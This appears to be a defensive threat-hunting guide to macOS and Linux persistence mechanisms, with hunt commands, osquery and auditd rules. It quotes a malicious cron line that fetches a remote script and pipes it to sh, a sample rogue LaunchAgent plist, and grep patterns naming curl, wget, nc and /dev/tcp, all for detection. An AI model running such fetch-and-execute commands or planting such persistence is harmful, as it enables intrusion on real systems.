The blind spot
Ask a SOC to hunt persistence and you get Run keys, scheduled tasks, services and WMI subscriptions. Ask the same SOC about the build servers, the Kubernetes nodes and the developers' MacBooks and the room goes quiet. Those machines hold cloud credentials, signing keys and source code, and attackers know the coverage there is thin.
The good news: persistence on Unix-like systems is mostly files in known places. Fewer registry-style abstractions, more text you can read, diff and baseline. The hunt is a matter of knowing the locations and knowing what normal looks like on your fleet.
The map
| Platform | Mechanism | Primary locations | ATT&CK |
|---|---|---|---|
| macOS | Launch Agent | ~/Library/LaunchAgents, /Library/LaunchAgents |
T1543.001 |
| macOS | Launch Daemon | /Library/LaunchDaemons |
T1543.004 |
| macOS | Login Items | BTM database, app bundle Contents/Library/LoginItems |
T1547.015 |
| macOS | Shell profile | ~/.zshrc, ~/.zprofile, /etc/zshrc |
T1546.004 |
| Linux | systemd service | /etc/systemd/system, ~/.config/systemd/user |
T1543.002 |
| Linux | systemd timer | *.timer units |
T1053.006 |
| Linux | cron | /etc/crontab, /etc/cron.d, /var/spool/cron |
T1053.003 |
| Linux | Shell profile | ~/.bashrc, ~/.profile, /etc/profile.d/ |
T1546.004 |
| Linux | Dynamic linker hijack | /etc/ld.so.preload, LD_PRELOAD |
T1574.006 |
| Both | SSH authorized keys | ~/.ssh/authorized_keys |
T1098.004 |
| Linux | udev rules | /etc/udev/rules.d |
T1546.017 |
Use the ATT&CK mapper to see these techniques in context and check which of them your detections already cover.
macOS
LaunchAgents and LaunchDaemons (T1543.001, T1543.004)
The workhorse of macOS persistence, used by everything from adware to targeted implants. An agent runs in the user's context when they log in; a daemon runs as root at boot. Both are property lists that point launchd at a program.
<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0">
<dict>
<key>Label</key><string>com.apple.updates.helper</string>
<key>ProgramArguments</key>
<array><string>/Users/Shared/.cache/helper</string></array>
<key>RunAtLoad</key><true/>
<key>KeepAlive</key><true/>
</dict>
</plist>
Everything about that example is a tell: a com.apple. label outside /System, a binary in /Users/Shared under a hidden directory, KeepAlive to respawn after kill.
# List all non-system launch items with the program they run
for f in /Library/LaunchAgents/*.plist /Library/LaunchDaemons/*.plist \
/Users/*/Library/LaunchAgents/*.plist; do
prog=$(/usr/libexec/PlistBuddy -c 'Print :ProgramArguments:0' "$f" 2>/dev/null \
|| /usr/libexec/PlistBuddy -c 'Print :Program' "$f" 2>/dev/null)
echo "$f -> $prog"
done
# Check the signature of each referenced binary
codesign -dv --verbose=2 /Users/Shared/.cache/helper 2>&1 | grep -E 'Authority|TeamIdentifier'
Hunt for: unsigned or ad-hoc signed programs, programs in /tmp, /Users/Shared, ~/Library/Application Support hidden directories, interpreters (bash, python3, osascript) with inline arguments, and labels impersonating Apple. /System/Library/Launch* is protected by SIP, so attackers are unlikely to land there on a healthy system.
Login Items and Background Task Management (T1547.015)
Since macOS 13 Ventura, Background Task Management (BTM) tracks login items, launch agents and daemons in a central database and notifies the user when one is added. For hunters, BTM is a gift: a single inventory of persistence with the responsible developer and team ID.
# Dump the BTM inventory (requires admin)
sudo sfltool dumpbtm
# BTM registration events in the unified log
log show --last 7d --predicate 'subsystem == "com.apple.backgroundtaskmanagement"' \
| grep -i -E 'add|register'
EDRs built on the Endpoint Security framework also receive BTM launch item add events, which is the cleanest real-time signal for new macOS persistence. If your EDR exposes it, alert on additions whose team ID is not in your approved software list.
Also worth a look
- Shell profiles:
~/.zshrc,~/.zprofile,~/.zshenv(T1546.004). Zsh is the default shell since Catalina. - Configuration profiles installed outside your MDM (
profiles list), which can push settings and certificates. - Legacy
StartupItems(T1037.005) and periodic scripts on older systems. - Authorization plugins in
/Library/Security/SecurityAgentPlugins, rare but high impact.
Linux
systemd services and timers (T1543.002, T1053.006)
A unit file in /etc/systemd/system with WantedBy=multi-user.target is persistence that survives reboots and gets restarted on crash. User units in ~/.config/systemd/user need no root at all, especially when lingering is enabled for the account.
# Enabled units, newest files first
systemctl list-unit-files --state=enabled --no-pager
find /etc/systemd/system /usr/lib/systemd/system /home/*/.config/systemd/user \
/root/.config/systemd/user \( -name '*.service' -o -name '*.timer' \) \
-newermt '30 days ago' 2>/dev/null
# Timers and when they fire next
systemctl list-timers --all --no-pager
# Units whose ExecStart points to writable or odd locations
grep -rhE '^Exec(Start|StartPre|StartPost)=' /etc/systemd/system /home/*/.config/systemd/user 2>/dev/null \
| grep -E '/tmp/|/dev/shm/|/var/tmp/|curl|wget|base64|bash -c'
Then verify package ownership: a unit file not owned by any package (dpkg -S or rpm -qf) and not deployed by your configuration management deserves a reason.
cron and at (T1053.003, T1053.002)
Still the most common Linux persistence in commodity intrusions, cryptominers above all. Check every source, not only crontab -l:
cat /etc/crontab
ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly
ls -la /var/spool/cron/ /var/spool/cron/crontabs/ 2>/dev/null # RHEL vs Debian paths
atq
Typical malicious entries fetch and pipe to a shell every few minutes: */5 * * * * curl -fsSL hxxp://198.51.100.23/x.sh | sh. When an entry's schedule is not obvious, paste it into the crontab parser to read when it actually runs. Entries running every minute, at reboot (@reboot), or under service accounts that should never have a crontab, are the priorities.
Shell configuration (T1546.004)
~/.bashrc, ~/.bash_profile, ~/.profile, /etc/profile, /etc/profile.d/*.sh, /etc/bash.bashrc. Executed on every interactive shell, which makes them ideal for credential capture (aliasing sudo to log passwords) and re-launching implants.
grep -nE 'curl|wget|nc |/dev/tcp|base64 -d|alias sudo|nohup|\(.*&\)' \
/etc/profile /etc/profile.d/*.sh /etc/bash.bashrc /root/.bashrc /root/.profile \
/home/*/.bashrc /home/*/.profile /home/*/.bash_profile 2>/dev/null
Dynamic linker hijacking (T1574.006)
/etc/ld.so.preload makes every dynamically linked process load the listed library. Userland rootkits use it to hide files, processes and network connections from the very tools you hunt with.
# On most systems this file should not exist
ls -la /etc/ld.so.preload && cat /etc/ld.so.preload
# Processes with LD_PRELOAD in their environment
grep -l LD_PRELOAD /proc/*/environ 2>/dev/null
Do not trust a possibly preloaded system's own tools. If ld.so.preload is populated, ls, ps and netstat may lie. Use statically linked binaries, read /proc directly, or better, examine a disk image or memory capture from outside.
SSH authorized keys (T1098.004)
Quiet, credential-free, and survives password resets. Attackers append their key, sometimes with a comment copied from a legitimate admin key.
for f in /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys; do
[ -f "$f" ] && echo "== $f ($(stat -c %y "$f"))" && \
ssh-keygen -lf "$f"
done
grep -E '^\s*AuthorizedKeysFile' /etc/ssh/sshd_config /etc/ssh/sshd_config.d/*.conf 2>/dev/null
Compare fingerprints against your key inventory. Watch for command= options, keys on service accounts, and a changed AuthorizedKeysFile path pointing somewhere you would not look.
udev rules (T1546.017)
A rule in /etc/udev/rules.d can RUN+= a program when a device event fires, including events that happen at every boot. udev kills long-running children, so attackers chain to at, systemd-run or a backgrounded process. Rare, but almost never legitimate when it points outside vendor paths.
grep -rn 'RUN+=' /etc/udev/rules.d/ /lib/udev/rules.d/ 2>/dev/null | grep -vE '/lib/udev/|/usr/lib/udev/'
Also worth a look
Kernel modules (T1547.006), PAM modules (T1556.003), package manager hooks such as APT DPkg::Post-Invoke entries (T1546.016), new local accounts with UID 0 (T1136.001), and rc.local (T1037.004).
From one-off commands to continuous hunting
Commands on one host are triage. Hunting means fleet-wide, with a baseline.
-- osquery: launchd items on macOS not in /System
SELECT path, label, program, program_arguments, run_at_load
FROM launchd WHERE path NOT LIKE '/System/%';
-- osquery: crontab entries across users
SELECT * FROM crontab;
-- osquery: SSH keys per user
SELECT u.username, k.key_file, k.algorithm
FROM users u JOIN authorized_keys k USING (uid);
On Linux, an auditd file watch catches the write as it happens:
-w /etc/systemd/system/ -p wa -k persist_systemd
-w /etc/cron.d/ -p wa -k persist_cron
-w /var/spool/cron/ -p wa -k persist_cron
-w /etc/ld.so.preload -p wa -k persist_preload
-w /etc/udev/rules.d/ -p wa -k persist_udev
-w /root/.ssh/ -p wa -k persist_ssh
The principle is the same one we apply to living-off-the-land binaries on Windows: the mechanism is legitimate, so the signal is in what is new, where it lives, and what it runs.
What to do Monday
- [ ] Export one week of inventory (launchd, BTM, systemd units, crontabs, authorized_keys) from your fleet and diff it daily.
- [ ] Add auditd watches on the Linux persistence paths above; route to your SIEM.
- [ ] Check whether your macOS EDR surfaces BTM additions and alert on unknown team IDs.
- [ ] Alert on any
/etc/ld.so.preloadcreation. There is rarely a good reason. - [ ] Reconcile SSH keys on servers against your key inventory; remove orphans.
- [ ] Map what you covered in ATT&CK so the gaps are visible, not assumed.
Persistence is the part of an intrusion that has to touch disk and has to survive. That makes it the most patient hunter's best target.